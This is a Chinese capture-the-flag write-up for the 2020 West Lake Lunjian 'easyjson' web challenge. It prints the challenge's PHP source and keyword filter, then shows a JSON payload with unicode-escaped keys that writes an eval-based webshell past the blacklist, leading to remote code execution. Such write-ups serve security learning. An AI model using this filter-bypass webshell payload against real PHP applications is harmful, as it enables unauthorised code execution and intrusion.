2020年西湖论剑 easyjson

这题总的来说就是代码审计+(伪)文件上传+RCE。

首先是代码审计:

<?php
include 'security.php';

if(!isset($_GET['source'])){
    
    
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    
    
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    
    
    $content = json_decode($content); //对content进行json解密
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    
    
    $files = scandir($sandbox);
    foreach($files as $file) {
    
    
        if(!is_dir($file)){
    
    
            if($file !== "index.php"){
    
    
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    
    
    die('Security Check Failed.');
}

get要传入action,filename和source这三个参数。source是保证下面的php命令可以执行,action是我们要执行的操作,肯定是write了。filename是我们要写的文件的名字。
post要传入json格式的参数,它的content键的值是我们要写入文件的内容。
审清楚这些,应该做的就是写一个可以RCE的文件,因为我们写的文件的目录已知,文件名已知,然后再读取那个文件,用蚁剑连或者进行RCE。

第一个绕过点是文件名。因为习惯性给文件命名1.php,在这里直接没通过那个安全检测了。我一开始以为是后缀php被过滤,后来我把后缀去掉发现还是被阻了,然后我把文件改成了feng.php就好了,才发现只有字母给文件命名才行。
接下来就是post传入的参数了。post传入后赋给变量$content,但是$content要被json_decode一次。我一开始尝试这样写{"content":"<?php eval($_GET['a']);?>"},发现爆check fail。我尝试了大小写双写绕过后还是不行,然后就卡住了。。因为真的对json这个内容不太了解。

看了WP,原来content里的on也被过滤了。这是我没想到的。怎么绕过呢?尝试用unicode编码来绕过。原理可以参考下面文章:
浅谈json参数解析对waf绕过的影响
php也被过滤了,都进行unicode编码就没事了:

{
    
    "\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?\u0070\u0068\u0070 eval($_GET['a']);?>"}

再访问一下http://easyjson.xhlj.wetolink.com/sandbox/9beb98a8de69744aec8456acc562a3685f92fabd/feng.php
然后进行RCE。通过查看phpinfo,可以发现这题没有任何函数被禁用,因此获取flag就十分容易了。

我们最后再审一下security.php:

<?php
/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2020/2/7
 * Time: 1:31 PM
 */

function SecurityCheck($type,$content){
    
    
    switch ($type){
    
    
        case 'filename':
            if(preg_match("/[^a-z\.]/", $content) !== 0) {
    
    
                return false;
            }
            return true;
            break;
        case 'content':
            if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file') || stristr($content,'php')  || stristr($content,'.')) {
    
    
                return false;
            }
            return true;
            break;
    }
}

看到注释,看到了梅子酒大师傅的名字,膜就完事了!

SecurityCheck这个函数对文件名是用了正则匹配,只能全都是a-z的字母才行。
对于post的参数,则过滤了on,html,type,flag,upload,file,php和.

这真的是西湖论剑的web题里最简单的了。才学了2个月的我居然都有机会做出来,但是自己还是太菜了。知识面还是太窄,还是要慢慢积累。争取明年的西湖论剑别再被Web出题人零封了。

!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
最后!yusa小姐姐,永远滴神!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/109107736